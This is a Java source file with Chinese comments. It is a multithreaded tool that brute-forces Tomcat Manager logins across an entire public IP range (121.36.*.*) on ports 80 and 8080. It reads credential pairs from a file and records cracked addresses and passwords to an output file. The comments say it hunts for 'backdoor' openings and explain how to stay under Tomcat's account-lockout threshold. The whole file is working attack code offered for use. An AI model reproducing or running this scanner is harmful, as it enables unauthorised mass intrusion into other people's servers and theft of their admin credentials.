package com.freeman.bruteforceattact;

import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;

import com.freeman.util.FileProcessor;
import com.freeman.util.HttpBasicAuthUtil;

//import com.alibaba.fastjson.util.Base64;

/**
 * Tomcat批量IP扫描,暴力破解密码类
 * 
 * 输入文件：
 *    项目根目录的账号密码文件pwd.txt  
 *    每行格式：  “账号，密码”
 * 输出文件：   
 *    项目根目录的cracked.txt      
 *    每行格式：   "破解后的地址 （账号：密码）"
 * 
 * 参数：
 * prefiexIp：要扫描的ip地址的前面2位，如“121.36.”，程序会使用密码文件逐个扫描121.36.*.*的所有80和8080端口，找到后门漏洞
 * maxThreadNum：并行线程数码
 * 
 * 注意：
 * 每个账号的密码不要超过5个，因为tomcat在同一账号5分钟内超过5次失败后会锁定该账号5分钟
 * 
 * @author terry
 * @version 1.0, 2012-12-26
 */
public class TomcatAttacter implements Runnable {
	//需要扫描的ip前缀
	public static String prefiexIp = "121.36.";
	public static int maxThreadNum = 16;
	
	private String[] pairs;
	private String fullUrl;
	private CountDownLatch countDownLatch;

	/**
	 * <pre>
	 * 发送带参数的GET的HTTP请求
	 * </pre>
	 * 
	 * @param reqUrl
	 *            HTTP请求URL
	 * @param parameters
	 *            参数映射表
	 * @return HTTP响应的字符串
	 */

	public static boolean doGet(String requrl, String account, String pwd) throws Throwable {
		String s2 = HttpBasicAuthUtil.doGet(requrl, account, pwd);
		if (s2 != null && s2.indexOf("Tomcat Web Application Manager") >= 0) {
			return true;
		} else {
			return false;
		}
	}

	public TomcatAttacter(String[] pairs, String fullUrl, CountDownLatch countDownLatch) {
		this.pairs = pairs;
		this.fullUrl = fullUrl;
		this.countDownLatch = countDownLatch;
	}

	public void run() {
		boolean temp1 = false;
		System.out.println(fullUrl);
		for (String pair : pairs) {
			String[] accountAndPwd = pair.split(FileProcessor.FIELD_SPLIT);
			String pwd = accountAndPwd.length == 1 ? "" : accountAndPwd[1];
			try {
				temp1 = TomcatAttacter.doGet(fullUrl, accountAndPwd[0], pwd);

			} catch (Throwable e) {
				if (!(e instanceof java.lang.NoSuchMethodError)){
					break;
				}
			}
			if (temp1) {
				String sss = "" + fullUrl + "   (" + accountAndPwd[0] + ":" + pwd + ")";
				System.out.println("============crack!======"+sss);
				try {
					FileProcessor.writetofile(System.getProperty("user.dir") + "\\cracked.txt", sss);
				} catch (Exception e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
				break;
			}
		}
		if (countDownLatch != null) {
			countDownLatch.countDown();
		}
	}

	public static void main(String[] args) throws Exception {

		
		String s = FileProcessor.getStringFromFile(System.getProperty("user.dir") + "\\pwd.txt");
		String[] pairs = s.split(FileProcessor.ROW_SPLIT); // StringUtil.split(s,
															// FileProcessor.ROW_SPLIT);
        //本机调试
		String fullUrl22 = "http://localhost:8080/manager/html/";
		TomcatAttacter service22 = new TomcatAttacter(pairs, fullUrl22, null);
		service22.run();
 
		long startT = System.currentTimeMillis();
		
		int ipEndNumber = 256;
		ExecutorService ex = Executors.newFixedThreadPool(maxThreadNum);
		final CountDownLatch countDownLatch = new CountDownLatch(ipEndNumber * ipEndNumber * 2);
		for (int i = 0; i < ipEndNumber; i++) {
			for (int j = 0; j < ipEndNumber; j++) {
				String fullUrl = "http://" + prefiexIp + i + "." + j + "/manager/html/";
				TomcatAttacter service = new TomcatAttacter(pairs, fullUrl, countDownLatch);
				ex.submit(service);
				fullUrl = "http://" + prefiexIp + i + "." + j + ":8080/manager/html/";
				service = new TomcatAttacter(pairs, fullUrl, countDownLatch);
				ex.submit(service);
			}
		}

		try {
			countDownLatch.await();
		} catch (InterruptedException e) {
			System.out.println("doMultiThreading Interrupted." + e);
			return;
		}

		ex.shutdown();
		ex.awaitTermination(Long.MAX_VALUE, TimeUnit.DAYS);
		long endT = System.currentTimeMillis();
		System.out.println("try :" + (ipEndNumber * ipEndNumber * 2) + " ,use Time:" + (endT - startT));

	}
}
